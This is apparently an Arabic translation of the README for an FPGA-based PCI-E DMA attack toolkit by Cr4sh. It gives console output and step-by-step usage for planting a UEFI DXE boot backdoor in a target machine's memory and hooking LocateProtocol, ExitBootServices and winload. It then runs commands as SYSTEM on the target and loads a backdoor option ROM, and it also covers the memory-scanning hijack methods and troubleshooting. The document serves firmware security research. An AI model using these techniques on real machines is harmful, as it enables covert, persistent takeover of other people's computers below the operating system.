[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x14847
Backdoor entry RVA is 0x908
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0908
1.759079 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for backdoor load...
[+] Winload image was loaded
Image base: 0x0086a000
OslArchTransferToKernel: 0x009c4b20
[+] DONE
[+] Waiting for payload init...
[+] Payload shared memory region is at 0x00200000
[+] Executing command: whoami
[+] Process exit code: 0x00000000
nt authority\system
الآن، عند تحميل Boot Backdoor مع حمولته بنجاح، يمكنك تشغيل uefi_backdoor_boot_shell.py مع خيار --attach للتواصل مع المثيل الحالي قيد التشغيل من DMA Shell:```
$ ./uefi_backdoor_boot_shell.py --attach --command "hostname"
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Payload shared memory region is at 0x00200000
[+] Executing command: hostname
[+] Process exit code: 0x00000000
DESKTOP-E52IJJ8
أيضًا، يمكنك استخدام خيار `--debug-output` للحصول على رسائل التصحيح الخاصة بـ Boot Backdoor UEFI DXE driver وطباعتها في stdout:```
$ ./uefi_backdoor_boot_shell.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79da2000
DmaBackdoorBoot.c(630) : ******************************
DmaBackdoorBoot.c(631) :
DmaBackdoorBoot.c(632) : Boot backdoor loaded!
DmaBackdoorBoot.c(633) :
DmaBackdoorBoot.c(634) : ******************************
DmaBackdoorBoot.c(668) : Image address is 0xc0000
DmaBackdoorBoot.c(711) : Payload is not present
DmaBackdoorBoot.c(276) : BackdoorImageRealocate(): image size = 0xf500
DmaBackdoorBoot.c(722) : Resident code base address is 0x79d8c000
DmaBackdoorBoot.c(430) : Protocol notify handler is at 0x79d8c364
DmaBackdoorBoot.c(455) : BackdoorEntryResident()
DmaBackdoorBoot.c(464) : ExitBootServices() hook was set, handler = 0x79d8ded7
DmaBackdoorBoot.c(358) : new_ExitBootServices() called
Winload.c(419) : WinloadHook(): winload image is at 0x86a000
Winload.c(507) : winload!HvlpBelow1MbPage is at 0xa037c8
Winload.c(508) : winload!HvlpBelow1MbPageAllocated is at 0xa037b9
Winload.c(587) : winload!OslArchTransferToKernel() is at 0x9c4b20
للحصول على مزيد من المعلومات حول حالات استخدام وميزات Boot Backdoor، اطّلع على ملف README الخاص به مع معلومات مفصّلة.
تدعم برامج Python uefi_backdoor_simple.py وuefi_backdoor_hv.py وuefi_backdoor_boot.py وuefi_backdoor_boot_shell.py طريقتين مختلفتين لتمرير التنفيذ إلى صورة برنامج تشغيل UEFI DXE المحقونة:
اختطاف EFI_SYSTEM_TABLE − امسح ذاكرة النظام باتجاه تنازلي من العنوان الفعلي 0xf0000000 إلى 0 بخطوة 0x10000 بايت للعثور على جدول نظام EFI من خلال توقيعه وتصحيح عنوان دالة LocateProtocol(). لتجاوز خيارات فحص الذاكرة، يمكنك استخدام متغيري البيئة SCAN_FROM وSCAN_STEP.
اختطاف PROTOCOL_ENTRY − امسح ذاكرة النظام باتجاه تصاعدي من العنوان الفعلي 0x76000000 إلى 0xa0000000 بخطوة 0x1000 بايت للعثور على بنية EFI_CPU_IO2_PROTOCOL الخاصة بـ بروتوكول CPU I/O 2 وتصحيح إحدى دواله. لتجاوز خيارات فحص الذاكرة، يمكنك استخدام متغيرات البيئة SCAN_FROM وSCAN_TO وSCAN_STEP.
بشكل افتراضي، تستخدم جميع البرامج الأربعة طريقة اختطاف جدول نظام EFI؛ لاستخدام طريقة إدخال البروتوكول بدلاً من ذلك، يمكنك تمرير خيار سطر الأوامر --inj-prot إلى البرنامج المناسب. لتقليل الوقت المطلوب لتنفيذ الهجوم، يمكنك تحديد عنوان بنية EFI_SYSTEM_TABLE الذي تم العثور عليه مسبقًا باستخدام الخيار --system-table وعنوان بنية PROTOCOL_ENTRY باستخدام الخيار --prot-entry. أيضًا، تمتلك جميع برامج Python الأربعة خيار سطر الأوامر --test، ويُستخدم هذا الخيار لإجراء فحص الذاكرة والعثور على عناوين البنى المطلوبة دون تنفيذ اختطاف فعلي لمسار التنفيذ. لذلك، أثناء الإقلاع الأول يمكنك تشغيل البرنامج المطلوب مع الخيار --test للعثور على العنوان المطلوب، وأثناء الإقلاع الثاني يمكنك تشغيل نفس البرنامج مع الخيار --system-table أو --prot-entry لتحديد ذلك العنوان.
أثناء تطوير التعليمات البرمجية الخبيثة لهجمات DMA قبل الإقلاع، من المهم الحصول على معلومات حول بيئة تنفيذ مرحلة UEFI DXE. لجمع هذه المعلومات، يمكنك تشغيل الكمبيوتر الهدف والدخول إلى قائمة إعداد BIOS أو قائمة خيارات الإقلاع لإيقاف تحميل نظام التشغيل مؤقتًا، ثم تشغيل برنامج uefi.py بدون وسائط. سيقوم هذا البرنامج بفحص الذاكرة الفعلية للكمبيوتر الهدف وطباعة معلومات متنوعة حول بروتوكولات وواجهات UEFI DXE الموجودة، وبرامج تشغيل UEFI المحمّلة، وجداول واصفات UEFI وجداول ACPI. يمكنك هنا رؤية مثال على المعلومات التي تم الحصول عليها بواسطة برنامج uefi.py أثناء استخدام كمبيوتر AAEON UP Squared المصغّر كهدف للهجوم.
يمكن للبتستريم المقدم محاكاة خيار ROM الخاص بـ PCI-E المخزّن في ذاكرة الفلاش الخطية المدمجة في SP605. على الرغم من أن المنصات الحديثة تخفف من هجمات خيار ROM المعروفة، إلا أن هذه الميزة قد تظل مفيدة لأغراض التدقيق الأمني أو النمذجة الأولية.
يمكنك إدارة صور خيار ROM باستخدام برنامج Python pcie_rom_ctl.py.
مسح محتويات خيار ROM:```
$ ./pcie_rom_ctl.py --erase
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Done
تحميل مثال UEFI option ROM المقدم إلى اللوحة:```
$ ./pcie_rom_ctl.py --load payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64_10ee_1337.rom
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Loading 5120 bytes of option ROM...
[+] Done
أيضًا، هناك خيار لتسجيل وصول ذاكرة الـ option ROM إلى UART التصحيح في لوحة SP605. لتمكين أو تعطيل هذا الخيار، استخدم المعلمتين --log-on و --log-off من برنامج ./pcie_rom_ctl.py.
للتحقق من التشغيل الصحيح لدعم الـ option ROM في نظام لينكس، يمكنك القيام بما يلي.
أولًا، ابحث عن عنوان ناقل-جهاز-وظيفة (bus-device-function) لجهاز SP605 الخاص بـ PCI-E:```
01:00.0 Ethernet controller: Xilinx Corporation Device 1337
بعد ذلك، قم بتعيين بت التمكين في سجل الأوامر بحيث يمرر النظام الهدف إلى جهاز PCI-E جميع محاولات الوصول إلى الذاكرة لنطاقات الذاكرة الفعلية الخاصة بـ option ROM:```
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/enable
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/rom
الآن يمكنك تفريغ محتويات خيار ROM المُحمَّل مسبقًا باستخدام أمر dd والملف الزائف المناسب الخاص بـ sysfs:```
00000000 55 aa 0b 00 f1 0e 00 00 0b 00 64 86 00 00 00 00 |U.........d.....| 00000010 00 00 00 00 00 00 60 00 1c 00 00 00 50 43 49 52 |......`.....PCIR| 00000020 ee 10 37 13 00 00 1c 00 03 00 00 00 0b 00 00 00 |..7.............| 00000030 03 80 00 00 00 00 00 00 ff ff ff ff ff ff ff ff |................| 00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000050 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000060 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |MZ..............| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 |................| 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
في حالة تحديد خيار `--log-on` لبرنامج `pcie_rom_ctl.py` أثناء التكوين، سترى الرسائل التالية في وحدة تحكم UART للتصحيح على لوحة SP605 أثناء تفريغ خيار ROM:```
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x0
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x1
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
...
PCI Express ناقل عالي السرعة معقّد جدًا، لذلك هناك الكثير من الأمور التي قد تسوء. في حال لم يعمل هجوم DMA على إعدادك، يمكنك التحقق من الأمور التالية لتحديد المشكلة بدقة:
مؤشر DS3 مضاء عندما يكون رابط PCI-E الفعلي نشطًا، بينما DS4 مضاء عندما يكون مجمع الجذر (root complex) قد خصّص عنوان ناقل-جهاز-وظيفة (bus-device-function address) لنقطة نهاية PCI-E الخاصة بنا. إذا كان DS3 مطفأً فهذا يعني غالبًا وجود مشكلة اتصال فيزيائي − افحص الرافعات (risers) والكابلات وغيرها. إذا كان DS3 مضاءً لكن DS4 مطفأً فهذا يعني أنه يجب عليك إعادة تشغيل هدف الهجوم أو فرض إعادة فحص أجهزة PCI-E على جانبه.
مؤشر DS5 مضاء أثناء إعادة تعيين ناقل PCI-E، وعندما يكون مضاءً دائمًا فهذا يعني وجود مشكلة اتصال فيزيائي.
إذا أرسل مجمع الجذر TLP من نوع Cpl بدلاً من CplD TLP ردًا على طلب قراءة من الذاكرة، فهذا يعني أن الوصول إلى الذاكرة قد تم رفضه بسبب عنوان غير صالح أو بسبب فحوصات الوصول المفروضة من IOMMU. أيضًا، قد لا يستجيب جهاز x86 النموذجي إطلاقًا لطلبات قراءة الذاكرة الموجهة إلى مناطق MMIO معيّنة من مساحة العناوين الفعلية.
إذا كان البرنامج يستقبل TLPs غير متسقة أو غير صالحة من مجمع الجذر ردًا على طلبات قراءة الذاكرة، فيمكنك محاولة تعيين قيمة أصغر للثابت MEM_RD_TLP_LEN في pcie_lib.py لتقسيم بيانات الرد إلى أجزاء أصغر. ومن المفيد أيضًا تشغيل البرنامج مع متغير البيئة DEBUG_TLP=1 وفحص تفريغ TLPs الخام للإرسال/الاستقبال (TX/RX).
قم بتثبيت Xilinx ISE 13.4 المرفق مع لوحة SP605 الخاصة بك وافتح ملف المشروع s6_pcie_microblaze.xise.
أعد توليد نواتَي s6_pcie_v2_4 وfifo_generator_v8_4 الموجودتين في تسلسل المشروع (project hierarchy).
انقر على مثيل microblaze_i في تسلسل المشروع وشغّل "Export Hardware Design to SDK With Bitstream".
عندما يكتمل البناء، يفتح ISE بيئة Xilinx Software Development Kit IDE، استخدم مجلد sdk كمساحة عمل لها.
أنشئ حزمة دعم لوحة (board support package) مستقلة جديدة في شجرة مشروع Xilinx SDK الخاص بك، واختر مكتبتَي lwIP وxilflash في إعداد BSP.
استورد مشروعي sdk/srec_bootloader_0 وsdk/main_0 إلى شجرة المشروع وشغّل البناء.
شغّل make bitstream && make srec من موجه أوامر Xilinx ISE لتوليد ملفات الإخراج المطلوبة.
Dmytro Oleksiuk (المعروف بـ Cr4sh)